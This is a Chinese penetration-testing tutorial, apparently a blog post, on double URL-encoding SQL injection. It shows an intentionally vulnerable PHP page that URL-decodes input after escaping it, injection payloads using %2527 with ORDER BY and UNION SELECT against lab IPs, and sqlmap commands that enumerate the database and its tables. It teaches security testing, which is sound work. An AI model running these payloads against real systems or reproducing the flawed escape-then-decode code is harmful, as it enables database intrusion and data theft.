学习笔记-渗透测试-SQL注入_010_二次编码注入

二次编码注入和宽字节注入有着异曲同工之妙,都是在面对PHP代码或者配置,对输入的‘(单引号)进行转义的时候,在处理用户输入的数据时存在问题,绕开了转义

1 二次编码注入原理

1.1 为什么要进行编码

编码肯定是因为原始的格式并不适合传输才进行的,例如+,=,&,;等符号在http请求过程中会与原有格式进行冲突,所以需要进行编码转换

比如某登录场景:
index.php?id=1$name=admin$pwd=123
账号密码中带有=号和&号,就可能导致冲突,这些就需要进行url编码
比如
编码前
name=admin=
编码后
name=admin%3d
通常后端程序会自动进行解码

编程语言都有解码的函数,比如php的urldecode()

urldecode('%3d')

1.2 二次编码注入

urldecode()与PHP本身处理编码时,两者配合失误,可以构造数据消灭斜线,由于SQLi-Labs没有二次编码注入的场景,按照下方提供的代码进行案例演示,命名为doublecode.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>doublecode</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
include("../sql-connections/sql-connect.php");  //连接数据库
error_reporting(0);
if(isset($_GET['id'])){
    $id = mysql_real_escape_string($_GET['id']);    //将id进行转换
    echo 'mysql_real_escape_string:'.$id.'<br/>';
    $id = urldecode($id);   //urldecode解码
    echo 'urldecode:'.$id.'<br/>';
    
    $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";  //直接带入数据库
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row){
        echo 'You Login name:'.$row['username'];
        echo "<br>";
        echo 'Your Password:'.$row['password'];
        echo "</font>";
    }else{
        print_r(mysql_error());
        echo "</font>";
    }
}else{
    echo "Please input the ID as parameter with numeric value";
}

看完代码我们已经知道,这里不是宽字节注入的GBK编码,而是UFT-8

使用网页进行访问

http://192.168.0.102:81/demo/doublecode.php/?id=1'

使用单引号被mysql_real_escape_string反斜杠转义,所以我们的代码中不能出现单引号

image-20200822004541541

而单引号的编码就是%27,进行一下尝试,不行,还是会被认出来

http://192.168.101.200/demo/doublecode.php/?id=1%27

image-20200822005013994

这时候我们发现代码中,转移之后还有一个解码的过程$id = urldecode($id);

我们知道百分号%的编码就是%25,而%25会被第一次转换成%,如果在后面直接加上27,组合称为%27,就能够通过测试

http://192.168.0.102:81/demo/doublecode.php/?id=1%2527

image-20200822005256440

image-20200822005753066

1.3 测试方案

1.3.1 黑盒测试

在可能的注入点后键入%2527,之后进行测试

1.3.2 白盒测试

  1. 是否使用了urldecode函数
  2. urldecode函数是否在转义方法之后

2 攻击演示

2.1 手工注入演示

查列数(有三列)

http://192.168.101.200/demo/doublecode.php/?id=1%2527 order by 4 --+

image-20200822010042475

查询当前数据库用户名

http://192.168.101.200/demo/doublecode.php/?id=-1%2527 union select 1,database(),user() --+

image-20200822010240358

2.2 工具注入

sqlmap检测二次编码注入,在后面加上%2527即可

python sqlmap.py -u "http://192.168.101.200/demo/doublecode.php/?id=-1%2527"

显示可注入

image-20200822011028047

查询当前数据库

python sqlmap.py -u "http://192.168.101.200/demo/doublecode.php/?id=-1%2527" --current-db

image-20200822011229366

查询数据表

python sqlmap.py -u "http://192.168.101.200/demo/doublecode.php/?id=-1%2527" -D security --tables

image-20200822011324678

posted @ 2023-02-26 23:11  kinghtxg  阅读(68)  评论(0编辑  收藏  举报